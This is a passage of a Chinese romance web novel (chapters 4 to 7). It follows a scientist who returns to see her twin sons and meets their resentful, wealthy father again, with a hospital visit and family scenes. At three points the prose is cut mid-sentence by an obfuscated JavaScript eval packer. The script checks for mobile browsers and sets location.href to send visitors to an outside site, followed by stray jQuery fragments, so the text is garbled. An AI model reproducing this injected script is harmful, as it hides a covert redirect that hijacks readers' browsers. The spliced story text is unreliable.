甄世明沉默片刻,抬手轻刮芯芯的鼻尖,“你学说话慢,一岁半才开始说话,但你是很聪明的孩子,两岁就会算数。” “那我以后会成为很厉害的人吗?”孩子天真地问。 “会。”甄世明回答。 “我妈妈是很厉害的人吗?”孩子说:“奶奶说,我妈妈是很厉害的女人。” 纵使最聪明的孩子,也听不出大人某些言外之意,芯芯只是听到关于妈妈的只言片语,便在心里惦记了好几天。 也许是深夜人会比较感性,也许是因为和今天的方楷莹见过面,甄世明思考一会儿。 “是。” “她是很厉害的人。” 4. 第 4 章 有了这个答案,孩子今晚能睡个好觉,甄世明抬腕看表,凌晨一点。 坐在露天阳台的躺椅,手臂懒懒搭在深木色的竹节扶手,褪下的腕表随意扔在桌旁。 百达翡丽的“表王”很适合他,佩戴时侧纹的藤蔓花缠住颀修腕节,表链能巧妙遮住腕间的纹身,血色纹身本是极漂亮的颜色,依附在淡青色血管之间,有种惨烈的美感。 秀丽的细线字母是方楷莹的笔墨,他现在仍记得描画在皮肤上的痒意,也依然能回忆起睁开睡眼看到的方楷莹,披散的黑发,奶油白的后背,她枕着他的手臂,用一支红色中性笔在他手腕写下最直白的心情。 【HAPPY】 - 方楷莹一夜没睡,给蓝梦连发了几条信息,她得侧面打听一下孩子的近况,她和甄世明的世界重合度很低,现在只能通过蓝梦和秦赫了解。 一晚没得到半句回应,也是,蓝梦的新婚之夜,如果用来和方楷莹微信热聊,会显得秦赫在床上很没用。 翌日,蓝梦才约她在咖啡馆见面。 咖啡馆在京市最有名的商场楼下,蓝梦拎着五六个不同奢牌的购物袋,波浪卷发像海藻披在薄背,戴蓝宝石大耳坠,最夸张的是无名指的“戴妃戒”,贵气逼人。 反观方楷莹,浑身上下基础款,穿得比蔬菜沙拉还素,身上背的包还是大学毕业时蓝梦送她的,她们一人一只,蓝梦的早不知道扔哪儿去了,她还在用。 蓝梦是她最好的朋友,成为朋友的原因很简单,蓝梦是大学宿舍里第一个和她说话的人。 她们就读于全国一流大学,半导体专业,蓝梦是千辛万苦考进来的,方楷莹十六岁时就拿了全国物理竞赛一等奖。 两人来的路途不同,理想也不同,蓝梦说知识能改变命运,方楷莹说知识会改变世界。 两个年轻的姑娘曾经常为此争执不下,拼命想说服对方,现在各自走在理想路上。她是身披荣誉的芯片领域科学家,她是嫁入豪门的富太太。 少年心气不在,对坐相视一笑。 蓝梦晃了晃手指,戴妃戒流光溢彩,“说真的,如果当初嫁给甄世明,你能戴的比这玩意儿大多了。” “恭喜你,理想实现了。” 嫁入豪门,跃升阶级,蓝梦在方楷莹真诚的祝贺下,咽了一口苦涩的咖啡。 “别损我了。”她说。 方楷莹捧着柠檬水杯,手指抹去杯壁上渗出的冰珠,“我想知道甄橙和甄芯在哪儿读书?” 蓝梦眉头皱得紧,她知道方楷莹一定会谈孩子的,但没想到这人说话还是这么直白,令人讨厌,还有那么点儿怀念。 “你知道甄世明特恨你吧?” “知道。” “你不想让甄世明也恨我吧?” “……” “方楷莹,你不能这样。”蓝梦说:“孩子养大了,你回来了,还是带着未婚夫、头顶光环回来,你这不是宣战嘛?” “我没有宣战的意思。”方楷莹很平静,很释然地说:“我回来只是想认回孩子,以前不想提了,我和他都向前走了,我是有未婚夫,但他…身边也不缺人,我现在只是想知道孩子的近况,想办法见见孩子。” 方楷莹这次回来是有心理准备的,甄世明可能结婚,可能有长期女友,也可能长期有女友。 蓝梦挑起眉头,揶揄道:“他身边也不缺人?这话听着怎么酸溜溜的。” 连方楷莹都没有意识到话语中的停顿,她清了清嗓子,便没再说话。 蓝梦一脸八卦,细致地观察了会儿方楷莹的脸色,可惜什么都没看出来,她低头摆弄手机,长指甲在屏幕按了几下,又递给方楷莹,“喏,看看你的儿子们。” 那是一段今年暑假的视频。 斐济南海岛水天同色,游艇的甲板上两个男孩光着脚丫互相追逐,头发湿湿的,宽大中裤被海风吹贴着腿,他们伸展双臂像两只海鸥飞来飞去。 不远处甄世明和秦赫在钓鱼。 海风吹鼓他的亚麻衬衫,宽阔肩膀撑着衬衫下笔直如剑的身形,鱼竿微颤,甄世明利落收竿。 孩子急匆匆跑过去,几只小手抬着滑溜溜的海鱼,男孩们兴奋地叫喊。 “爸爸!好厉害!” “爸爸!今天我们烤鱼吃好吗?!” “爸爸!我想养它!” 甄世明随意抓了抓头发,大墨镜遮住眼睛,笑意挂在唇角,像个非常上镜的模特,起码蓝梦的镜头再也没从他身上挪开过,甚至放大去拍摄他微露的胸肌。 视频戛然,一滴眼泪落在甄世明额间。 蓝梦惊讶地看向方楷莹:“你也馋哭了?” 方楷莹无语凝噎,蓝梦抽出纸巾递给她,歪头问道:“真哭啦?我没说不帮你呀,认识你这么多年第一次看见你哭,这世界奇观我得拍下来给秦赫看看!” 蓝梦抓起手机一顿操作,拍下方楷莹更无语的样子,顺手转发给了秦赫。 库里南沿着路边行驶,秦赫先瞄向主驾,又偷摸放大图片,对着手机和蓝梦蛐蛐:“方楷莹真哭了?真他妈白天见鬼。” 一脚刹车,秦赫手机差点儿甩出去。 “怎么了???” “礼让行人。” “呵,你现在够文明的。” 他和甄世明刚从疗养院出来,拜访甄世明的爷爷,两家世交,按道理轮不到秦赫来拜访,来也得是秦家长辈来,但他昨一结婚,他父亲就和甄世明商量让他带着秦赫来一趟。 都知道是什么意思,秦赫要掌家了。 如今春风满面都不够形容秦赫的,就连说话也张狂起来,这一路在甄世明的雷点上踩了个遍,刚给甄世明听了蓝梦在咖啡馆偷偷录下的录音。 甄世明清清楚楚听到方楷莹说“我和他都向前走了。” 他掉头,把车停在路边,冷漠的面孔下颌骨微紧,“滚下去。” “……”秦赫收起手机,消停坐好,“那什么,蓝梦在咖啡厅,你送我一程?” 库里南在宽阔的大道奔驰,车速极快,秦赫一路心惊肉跳,忍不住劝:“少爷,咱们开的是车,不是飞机,我才刚结婚——” “不想让蓝梦守寡就闭嘴。” “……” - 蓝梦和方楷莹聊到暮色渐黑,主要是她听蓝梦和秦赫这几年的艰难爱情,她的生活没什么精彩的,黑白的数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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甄世明看着脸色惨白的她,忽然短短笑了一声,“这条路再往前走五公里是你儿子,你不是想见吗?” 方楷莹本来已经扯下安全带,要带着愤怒往回走,听到这话,她拉回半开的车门,重新系好安全带,冷静三分钟后,她偏头望向车窗,说:“你最好没有骗我。” 连威胁也不敢直视着他,甄世明被她逗笑,重新上路时双方情绪都明显稳定。 山顶是一片远离闹市的别墅区,名副其实的富人社区,金屋藏娇的好地方。 那时甄世明买下楼王,她的孕期几乎是在这里度过的,每一条小道路她都走过,每一棵小树木她都触摸过。 她看着眼前的建筑,像个巨大的潘多拉宝盒,走近那道门,仿佛还能听到五年前的争吵声。 当初和她吵得不可开交的人,现在默默站在她身后,等她亲自打开宝盒,回到那个曾经竭力逃走的世界。 方楷莹站在那道门前,脸一进入扫描区,大门就向她敞开,脚步踏进去,身后的门紧紧关闭。 这地方气场不对,一回来就想吵架,不愉快的记忆像一场灾难卷过来,她停住脚步,就站在门口问:“孩子在哪里?” 甄世明靠着门点烟,“方教授,你以什么身份来见我的孩子?” 5. 第 5 章 暮色已暗,大片黑灰的云占领天空,最后一丝阳光在地平线挣扎。 房子里气压更低,鱼缸里的红龙鱼扑腾着要跳缸,甄世明视而不见,残酷又安静地看着。 方楷莹快步走过去将顶盖放下,打开小夜灯,龙鱼很快冷静下来。 她的手指轻轻点了一下玻璃鱼缸,龙鱼就缓缓游来,橘红相间的尾巴慢悠悠摇摆,鱼唇微张仿佛含住她的手指。 她养的鱼,自然记得她。 “我是孩子的妈妈,”方楷莹说:“就算你不承认,我也是。” 甄世明冷漠地看着她,心里有种说不出的滋味儿,人还是那个人,鱼还是那条鱼,站在一起就不是当初那种感觉。 “我承不承认,我怎么想,对你来说重要吗?”他终于开口。 方楷莹笔直地站在那,以一种不卑不亢的冷静姿态,“不重要。” 甄世明讨厌她如此淡漠,两个陌生人一般讨论亲生孩子的归属问题。 真他妈荒唐。 他低骂了一句。 “你好好说话,别骂人。” “……操。” 甄世明故意挑衅,明摆着就是要把五年前的架放到现在来吵,方楷莹攥紧拳头,费了很大劲儿才能忍住不搭理,他们已经不是二十出头的年纪了,她现在不想吵架。 “孩子呢?”她只问孩子。 “送疗养院了,陪老人住几天。” 早该知道甄世明不会让她得偿所愿,方楷莹背起黑色尼龙包,这地方她不想留。 走到门前却发现门被锁住,她无法打开门,怒火一下子冲上脑顶,她对门拳打脚踢。 甄世明倚在玄关,玩味地看着。 “打开!”方楷莹扭回头瞪他。 她已经不是五年前的方楷莹,可他依然敢把她锁在金丝笼里,愤怒撞击心脏,方楷莹平稳的情绪再也不受控制,回头几步近前,揪扯住甄世明的衣领摇晃,“你给我把门打开!” 他最喜欢看方楷莹失控的样子,曾经喜欢看,现在依然。他垂眼看着被扯松的衣领和揪住不放的细润手指,埋头咬住泛白的指关节。 滚烫的嘴唇包裹住冰凉的指节,眉骨下的深邃轮廓让他咬人的样子也像接吻。 不、不是像接吻。 他真的在用舌尖抵开紧抓的指节缝隙,甚至在无名指的关节吮过。 方楷莹怔住的几秒钟,那些关于接吻的记忆潮水般涌出,她松开衣领猛抽回手,湿热的水光依然在手指停留。 “你这个流氓!无赖!”她挥包打他,“你一点儿都没变,脑子里就那些事儿!” 甄世明眼尾含笑,用力扳住方楷莹的肩膀,泄了她手上的力。 “是你抓住我不放,扯我衣服。”他把头一歪,浪荡一笑,反问道:“你说那些事儿,是什么事儿?” 方楷莹竟然也恍惚。 想多了吗? “到底是谁脑子里就那些事儿?”甄世明不依不饶,“偷情这种事,我干不出来,你能吗?” 他干不出来,手指却隔着衣服在内衣肩带处贴紧。 “我对你早没兴趣了。”方楷莹别开头,努力不去看甄世明松垮衣领下明晰的锁骨。 甄世明眯眼,笑容绽开,唇间的旧伤疤也更清楚,“是吗?证明给我看,把内裤脱下来,如果没有痕迹,我就打开门让你走。” 方楷莹紧紧咬住唇壁,目光炯炯地瞪视他,眼睑一层薄薄的泪纹。 她觉得羞辱,甄世明却一脸不在乎,大概恨极了她,要用这种方式侮辱她,受辱的情绪让她的脸迅速红烫,赌气般把眼一闭,手抓向裙摆。 她穿一条素色亚麻裙子,很薄透的衣料,这样出去无疑会有走光的风险。 裙摆掀起时,甄世明按住她的腕骨,整条手臂的青筋都浮起来,仿佛要把浑身的劲儿都使在她身上,方楷莹手腕生疼,却咬着牙不叫喊,无声地对峙。 最终,还是甄世明先放松力道,松松垮垮地虚握着,她不知道他到底要干什么,就连他自己都不知道。 大概是想看到方楷莹依然对他感兴趣的证据,但她太决绝,太问心无愧,真把内裤甩在他脸上,他不愿看到不能让他满意的结果。 两人都沉默。 也是甄世明先沉下气妥协:“假期结束第一天,你和我去幼儿园接孩子。” “不用脱了?”方楷莹问。 “别挑衅。”甄世明咬牙。 甄世明摆手让她走,自己陷在沙发里点烟。 方楷莹重新背起包包,头也不回地走,出门时听到甄世明说:“让司机送你回去。” 她摔上门,早已经等候在门外的司机一脸惊讶,打开车门时依然盯着方楷莹看。 “好、好久不见,方小姐。” 司机大概以为这辈子都见不到方楷莹了,她当初走时隐秘又决绝,那天她说要出去买些婴儿用品,就背着这个尼龙包,司机带她出去,却没能把人带回来,就是在那个慵懒的午后,她坐上了去美国的飞机。 豪宅里是她的、不是她的东西,她都没有带走,甄世明发了毁天灭地的脾气,把家里几乎砸了一遍,场面惨不忍睹。 他记得当时幸存的只有鱼缸和那条龙鱼。哦对,还有他这个司机。 甄世明多数时候是明理的,她要走,怨不了别人。 司机短暂愣神过后依然保持专业,为她开门时她也依然会说“谢谢”。 她从来没把自己当过女主人。 - 离开山顶别墅,方楷莹才发现自己的手机有多条未接电话。 不出所料,甄世明屏蔽了手机信号,屏蔽器是她孕后期装上的,现在竟然没拆掉,方楷莹感觉有些头疼。 车子刚驶离屏蔽区域,蓝梦就打来电话。 “莹莹,你没事吧?我都差点儿报警了。” “报警有用吗?”方楷莹揉揉太阳穴。 “所以我就没报嘛,我们家秦赫也不让我报警,但我还是担心你——” “你的车是平安的。” “那就好,那就好。”蓝梦抚捋胸口,又开始打探他们的谈话内容。 方楷莹说累了,再聊。 挂断电话她有些醒悟,蓝梦秦赫夫妻一体,早就和甄世明穿同一条裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816786|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子了,她的情况蓝梦大概都要汇报给甄世明。 她从后视镜里看向司机,恰巧与他对视,她又把视线移开,望向窗外不断倒退的树干。 自从她上车开始,司机竟然也没问她要去哪里,只是把车直接开向她的现住址,看来甄世明早都调查过。 如此设防。 方楷莹无奈苦笑。 - 回到家中,桌上的饭菜已经微凉,旁边放着一块精致的小蛋糕,花瓶里插着束新的百合花。 书房灯亮着,未婚夫手里拿着一本牛皮纸册静静坐在桌前阅读,身上披着暖黄色的书灯,侧脸没有太多棱角,看起来是把理性与感性融合得刚好那种男人,温柔而不失分寸。 方楷莹走近,才发现他看的是她曾经写下的情绪手册。 泛黄的纸页上,每一页都有同一个名字。她的每一种情绪,都与甄世明有关。 文字与心情在五年之前戛然而止,未婚夫盯住的那页正是空白。 “为什么后来不写了?”他问。 这个笔记本里从来没有出现过他的名字。 方楷莹抽走笔记本抱在怀里,“这是我的隐私。” 未婚夫不解地看着她,今天为她收拾书房,无意之间踏进她内心的封锁区,他才发现把一切都想得太简单,他们是共同生过孩子的人,怎么会只是平淡的关系呢? 起码有一个人爱过吧。 “你曾经跟我说过,你谈过热战一般的恋爱,你们几乎每天都在争吵,所以你想要平淡的生活和恋人,你当时说的,是他吗?” “是。”方楷莹坦然承认。 未婚夫静默片刻。 他内心承认对方楷莹的崇拜多过感情上的依赖,方楷莹是学术界公认的明日之星,不少人对他开过类似“抱紧优青大腿,不怕没有成果”的玩笑。 他也觉得自己幸运,通过某次研讨会认识当时还是博士生的方楷莹,茶歇时他亲眼看到方楷莹坐在角落吃了六块蛋糕,他觉得可爱又怕她噎住,主动走过去给她递一杯饮料,她却问他盘子里的蛋糕还吃不吃? 这故事经常被他当做.爱情轻喜剧津津乐道。 后来他才知道方楷莹不是普通的学术蝗虫,她的导师是有望获得诺贝尔奖的科学家,她是她寄予厚望的关门弟子。 人人慕强,他不例外。 学识地位都高过男人的女人有不迎合的底气,男人会来迎合她,不是这个男人,就是那个男人。 这让他时常患得患失,但在她面前他都尽量展现理性与克制,情绪稳定是她喜欢的优点,甄世明的突然出现使他充满危机感,他必须得到一些肯定的答案。 “我想问你,你现在依然想要平淡的生活和恋人吗?” 方楷莹点头,她是这段关系里的享受者,现在的阶段她不能分出太多精力给感情,所以需要这样一种相敬如宾的关系。 他在温柔的灯光下看了她一会儿,最后还是没有问出电话没打通的那会儿她到底在干什么,他只是说:“吃饭吧。” 未婚夫走进厨房热菜。 方楷莹去浴室换了一条新内裤。 6. 第 6 章 甄世明在假期结束之前接回孩子,老人家虽然喜欢小孩,但住太久他也嫌吵。 比起淘气的橙橙,老人更喜欢安静的芯芯,甄世明笑说他没什么偏爱,都是小混蛋,一个明着混,一个蔫着坏。 甄世明的爷爷参加过抗美援朝战争,人到耄耋眼神依然锐利。 “橙橙跟你小时候一样,芯芯也不知道像谁?” 甄世明一听这话,估计老头又要提旧事,混不吝般打叉:“像隔壁院儿的王司令,要不过继得了?怹不是天天嫌孙女不婚不育,耽误四世同堂了。” 话音刚落,甄世明被杵了一拐杖。 “王八蛋说的混账话!”甄卫国破口骂了两声,倒觉得神清气爽,“老东西羡慕我,这两天橙橙和芯芯在,他见天过来跟我下棋,你走之前带着俩孩子过去打声招呼。” “得嘞,保证完成任务。”他向老爷子敬礼致意后又挨了一拐杖。 走之前他把护士叫来,看着给老爷子量了血压,带着两儿子走时,橙橙和芯芯每人抱走一套精制装甲车模型。 一上车橙橙就开始叽叽喳喳,听得甄世明头都大了。 “爸爸,前天隔壁院的子涵和我一起游泳她说可喜欢和我玩儿了但她想抢我的游泳圈我不给她她又生气了,芯芯昨天把我的小车拆坏了他说能帮我修好但到现在都没修好...” “我会修好的...”芯芯坐在后排弱弱咕哝。 甄世明往后瞟了一眼,芯芯还抱着装甲车模型研究怎么拆。 “回去慢慢修。”他安慰芯芯。 “爸爸!”橙橙圈起小胳膊,恼道:“你偏心!” 说不偏心是假的,两个孩子永远做不到完全公平。甄橙从小闯祸多,话也多,甄芯更像方楷莹,静静的闷闷的,几个小时都不说一句话,三棍子敲不出个响屁。 他总是不由自主地过多关注芯芯,才会屡屡引来橙橙的不满。 “爸爸听着你说话呢,”甄世明单手转向盘,腾出一只手揉乱橙橙的头发,“子涵喜欢游泳圈,你生气了,大前天你干什么了?” “大前天我......” 橙橙的欢声笑语伴随着一路车程。 - 回到家洗澡时,橙橙反常地扭捏起来,在浴室磨蹭了很久,穿着小裤衩探出脑袋对外喊:“爸爸,你能帮我洗澡吗?” 这个年纪的男孩子,已经可以一个人洗澡了,橙橙平时自理能力更强,所以甄世明觉得奇怪,褪下腕表走去浴室。 橙橙比芯芯长得高,仰起头招手示意爸爸低一些,甄世明半蹲身在他面前,两手托着膝盖,保持着耐心问:“怎么了?” 橙橙扭扭捏捏,把小裤衩一脱,“爸爸...我有点儿不舒服,尿尿烫烫的。” 甄世明:“?” 他仔细检查后“啧”了一声,问道:“什么时候感觉难受的?” “游完泳...” “...明天你不用上学了,爸爸带你去个好玩儿的地儿。” 橙橙一听不用上学,原地蹦了起来。爸爸出去打了一通电话,回来更温柔,在浴缸里帮他洗澡,裹着浴巾把他抱到床上,翻找药箱寻出医生嘱咐的消炎药喂他吃。 橙橙睡着后,甄世明发现还有个小夜猫子没睡着,芯芯的床上隆起一座小雪山,人藏在被子里,压根没发现甄世明走近。 甄世明掀开被子,甄芯脑袋上拴着探照灯,跟个小矿工似的,后脑勺的头发竖立起来,惊慌的表情呆萌可爱。 “爸爸,我...”他忙着拆装甲车模型,见爸爸拤腰,赶忙把螺丝刀藏进枕头下。 甄世明早就一览无余,摸了摸小孩的头发,发顶的几根呆毛被他抚平,“芯芯,明天要上学了。” “哦,我这就睡。”他乖乖地躺下,把身下压住的汽车零件往外拨。 甄世明把枕头下的螺丝刀和床上散乱的零件一件件收起来,芯芯一直盯着爸爸的动作,怕被没收就不还给他了。 那双眼睛和方楷莹一模一样,窄窄的双眼皮,哭肿的时候就会变成单眼皮,睫毛长直,专注的时候会投下细密的阴影,抬眼时眼神也亮亮的,单纯又质朴,像是没有坏心思的农家小狗。 “爸爸会把你的小汽车收好,明天再给你,”甄世明笑了笑,“放心睡吧,小气鬼。” - 方楷莹参加了节后例行组会,给学生们带了蓝梦婚礼上的喜糖伴手礼,但她向来少言寡语,人情表达方面实在欠缺,礼盒就放在桌上,她不说,以为大家都懂这是可以被分享的。 直到组会开了一半,包装盒还没被拆开,她才问学生们:“你们怎么不吃?” 学生们:“……” 他们一早就盯上了包装精美的礼盒,无语并搓搓手打开,一大盒喜糖转眼被瓜分。 “导,您的喜糖吗?”(嚼嚼嚼) “啊!迪拜的巧克力!”(嚼嚼嚼) “导,底下还有红包!” “嗯?”方楷莹还没拆开看过。 学生们不敢再动了,怕里面翻出金条来,方楷莹也有些尴尬,人人有份的喜糖她也没想过是土豪版本,再一想蓝梦和秦赫,又是那么合理。 她拿出厚厚的红包递给吴忧,“你们买咖啡喝。” 吴忧受宠若惊,双手捧着就接过来了。她是方楷莹带的第一个博士,也是天赋型学生,二十四岁读博,思维活跃,性格活泼,正值最好年华,一派青春无敌。 她喜欢吴忧,吴忧也崇拜她。最初选择方楷莹做导师一是出于名气,二是海外归国的导师没有太多规矩,方楷莹本人除了对待课题和数据认真,其他事务大多不拘小节。 除了有点儿天才们特有的缺陷。 比如刚才还其乐融融分糖果,没一会儿方楷莹就对着吴忧的ppt说:“理论基础不扎实,光学原理就那么点儿东西,你十岁时贪玩了吗?” 吴忧:“……” 吴忧回想起自己十来岁时,大概是在无忧无虑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816787|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过童年。 组会开得一塌糊涂,学生心情都有点儿低落,方楷莹的心情却没有受到丝毫影响。 她是个负责任的导师,有能力也愿意教,但她的思路学霸跟起来也吃力,她在一遍遍讲课中却更能捋清思路,所以课后甚至有点儿神清气爽。 在学生眼中,她本人就是个难解的迷。 — 方楷莹工作时间自由,下午早早去幼儿园门口等着,一直等到放学,别的孩子都被家长接走,她也没看到甄世明的车停在幼儿园门口。 站在幼儿园门口,她掏出手机,犹豫很久才拨通那串从未忘记的号码,电话响了很久才接通,嘟声戛然而止的空白时刻,她的心忽然皱缩。 “我、我是方楷莹。” “说事儿。” 很久没通过电话,再次以这样的方式听到甄世明的声音,她不禁蜷缩起肩膀控制心脏的抖动,慵懒又倦怠的声音顺着听筒传入耳中,路边的汽笛声和风吹树叶的沙沙声一起消失。 她暗暗呼气保持冷静,“你还记得我们约好今天一起接孩子吗?” “嗯。”他的回答简短而冷漠。 方楷莹抿唇,踢走脚边一块小石子,“我在幼儿园门口,你为什么没来?” 医院走廊冷冷清清,消毒水味令人心烦,甄世明站在窗边沉沉呼吸,揉了揉疲倦的眉心,语气说不上多好。 “可能是因为方教授拉黑了我的电话,导致我不能及时通知你,橙橙今天没上学,现在在医院。” “橙橙怎么了?”方楷莹把手机夹在肩膀,一边快步跑起来,“哪家医院?” “你可以看看被拦截掉的短信。” 电话挂断,甄世明懒得和她多说。 方楷莹坐在车里,打开被拦截的短信,发现甄世明一早给她发过信息。 【孩子要做手术,301医院。】 【如果你方便的话。】 短信发出的时间正是方楷莹和学生们其乐融融分喜糖的时间。 方楷莹瞬间紧张,立刻驱车前往,甄世明的司机在医院门口等她。 “方小姐,请跟我来。” 方楷莹走进医院,立即捕捉到驱不散的消毒水味,午后的医院是懒洋洋的,柔光从窗口洒落在干净的地面,洒落在甄世明的身上。 他抱着手臂,目不转睛盯着门诊手术室的窗户,和他并排的小孩坐在光的暗处,有着和他相像的侧脸,小孩低着头,怀里抱着玩具车,小手捏着没能安装上去的车轮。 方楷莹的心跳比匆匆跑来时更快,走到切近却放慢脚步。 小孩子感觉到脚步声, 第一时间仰脸看她。 两人对视。 小孩子木瞪瞪地看她,显得有些迟钝。 那是她的孩子,有着她的五官,甄世明的轮廓,她一眼就能认得出。 方楷莹喉间咽了一下,“我、我是——” “芯芯,叫方阿姨。”甄世明说。 7. 第 7 章 小孩子思考一会儿,从椅子上跳下来,站直身问好,表现得像个从容礼貌的大人,只是声音还奶声奶气。 “方阿姨好。” 方楷莹怔住,缓缓睐向甄世明,他只是凝视着孩子,侧脸冷酷又绝情。 她整理好情绪,扯出一个别扭的微笑,情不自禁伸出手去触摸小孩的脸颊,“你好,甄芯。” 甄世明垂眸看着她无名指的戒指,眼色黯淡。 手术室的门打开,护士走出来叫甄橙的家长,两人同时向前走了一步,方楷莹想要进去看看,但甄世明抬手拦在她的腰前,“你不方便进去,看着芯芯。” 她抬头一看才发现这是泌尿外科的门诊,费解之际,身后的小孩开口说:“哥哥尿尿疼。” 方楷莹转过身,小孩子乖乖坐在椅子上,嘴唇又动了动,没继续说下去,低头摆弄手里的轮子。 第一次接触,方楷莹也能看出这孩子过于内向,很像她。 她主动走过去,保持和孩子平视的蹲姿,问:“芯芯,你在玩儿什么?” 芯芯把手摊开,目光始终在手上,小小声问:“阿姨,能帮我把这个安上吗?” 方楷莹拿起那个等比例的装甲车模型看了会儿,不由感慨道:“真是个好东西。” 孩子把头低得更深,好像做错了什么事。 方楷莹忙解释:“我不是说你破坏了它,我只是......阿姨能修好它!” 孩子纯真的眼睛炯炯望着她,仿佛她是宇宙中的超级英雄,全人类的救世主。 何至于此… 方楷莹在芯芯的注目下,从包里翻找出一个黑色发夹,把车壳重新拆开比对,按照其他轮子的安装结构,很快就分析出这个轮子安不上去的原因,又拆解几个零件,把轮子安好。 全程只用了五分钟。 她在拆装的过程中还可以腾出眼光看看芯芯,小孩眼睛里含着最闪亮的光彩,紧张小手合十捏紧,像一只抱着果实的小松鼠。 “好啦!”方楷莹轻拨轮子,确定它可以丝滑地转动。 芯芯用出汗的双手捧接过车模,笑得露出小白牙,“谢谢…阿姨。” 方楷莹看着自己的孩子,欣慰和辛酸同时出现在她眼睛里。 这几年她一直觉得自己离开甄世明是最正确的选择,她找寻自我,得到自由,而今天,她忽然发现,好像也失去了什么。 橙橙被甄世明扶着,像小螃蟹一样走出来。他穿着一件长长的T恤,小嘴扁扁,泪花在眼里打转,但一直忍着没放声大哭。 方楷莹认得橙橙身上那件T恤,俗气的卡通印花,是她曾经穿过的衣服,甄世明一直说丑,要扔掉。 就连她也以为这件衣服当时被丢掉了,现在却穿在孩子身上。 她有些恍惚。 甄世明已经走到她面前。 “这件衣服...” “随便找的,我的衣服太大。”他漫不经心瞥开目光,说:“你关心孩子还是关心衣服?” 方楷莹被他说得愧疚,却不知道该从何关心,只像个木头般站在那里。 说话的功夫,橙橙上前一把抱住甄世明的腿,在爸爸裤腿上擦了两把眼泪,哽咽着问:“爸爸,我是不是男子汉?” 甄世明唇边显出笑意,逗小孩说:“橙橙,我裤子上的是眼泪吗?” “不是眼泪!”孩子已经带了哭腔,还嘴硬道:“那是口水!” 嘴硬的样子和甄世明一模一样。 方楷莹心疼地抚摸小孩儿的后脑勺,橙橙懵懵懂懂仰起头,一滴眼泪顺着脸颊凝在下巴颏儿,甄世明用手背轻轻抹去孩子的眼泪。 “阿姨,你的孩子也在做手术吗?”橙橙懵懵地问。 方楷莹一时失神,说:“我的孩子...特别勇敢。” 甄世明脸色微变,哄孩子说:“橙橙,这个是方阿姨,爸爸的朋友,我说我家橙橙是小男子汉,她不信,专程过来看看。” “阿姨您好,我就是男子汉!”橙橙咬着牙倔强地说。 方楷莹向甄世明投去眼刀,又无奈地笑笑,“现在我相信了,不过男子汉也是可以哭的。” 一句话说完,橙橙扁着嘴,眼泪像断线的珠子,噼里啪啦地掉,方楷莹掏出纸巾,把眼泪擦了又擦,甄世明看着这一幕,一直无言。 等橙橙哭好了,甄世明抱起他,干巴巴对方楷莹说:“你带着甄芯。” 方楷莹把芯芯的玩具装进包里,向芯芯伸出手,芯芯主动上前牵住她的手,小孩子的手热乎乎,细条条,像棉花糖那样柔软,令她坚硬的心忽然软化。 一路牵着甄芯,跟在甄世明身后走到停车场。 甄芯始终没有松开她的手,一直到甄世明把橙橙塞进车里。 甄世明看了一眼腕表,问:“你开车了吗?” 方楷莹没说开车,也不说没开,只是把芯芯的手攥紧了一些,她问:“橙橙这个手术,算成功吗?” “前几天他在老爷子那游泳,泳池里的水可能没消毒干净,只是割包.皮的小手术,医生开了止痛片,今天要观察,没有发烧的症状三天后去换药就好了。”甄世明难得正经跟她说话,神情却依然冷淡。 “那需不需要我——” “我自己能照顾好。” 孩子不是第一次生病,他处理起来更有经验,方楷莹能帮上什么忙? “那以后会不会影响发育?” “发育一般和基因有关系。” 她的目光向甄世明腰下偷瞥,却被他当场抓获,“往哪儿看呢?” 方楷莹赶忙移开眼睛,“那我就放心了...”惊觉这话说得不对,又摆手找补:“不是,我是说,我为孩子的发育,也不是...” 慌里慌张的样子被甄世明看在眼里,他觉得有点儿好笑,他什么都没说,她就能把自己说急了说脸红了,方楷莹大概是天下独一个。 他打断语言错乱的方楷莹,不咸不淡地说:“我什么都没说,你脑子里就有画面了?” 方楷莹闭上嘴,抿紧唇,什么都不敢说了。 孩子听不懂他们在说什么,在尴尬的场面下,她的手心被芯芯的小手指轻轻扣了一下,芯芯低声询问:“阿姨...我家里还有一个小汽车,你能去我家帮我修吗?” 方楷莹当然想和孩子多待一会儿,征询的眼光看向甄世明,他揉了揉芯芯的小脑瓜,看着方楷莹,故意说:“方阿姨家里还有人等着呢。” “也是和我们一样的小朋友吗?”芯芯有些失望地问。 甄世明的手放在芯芯的头顶停住,明显他也没想好怎么回答孩子的问题,干脆沉默。 方楷莹垂下眼睫,看着孩子失望的眼睛,她于心不忍,挤出个微笑,说:“我想帮芯芯修小汽车,芯芯你问问爸爸,愿不愿意...让阿姨去你家。” 她低声对甄世明唇语:“修好我就走。” 甄世明与小孩子可怜巴巴的眼神对视,喉结轻滚,略有不耐道:“想去就去,想修就修。” 芯芯牵住方楷莹的手往车边拽,奶声奶气说:“阿姨坐咱们家的车走。” 方楷莹无奈,只得跟着走。 芯芯是个懂礼貌的好孩子,打开副驾驶的车门让方楷莹坐,自己费劲爬上后座,说:“我坐后面照顾哥哥。” 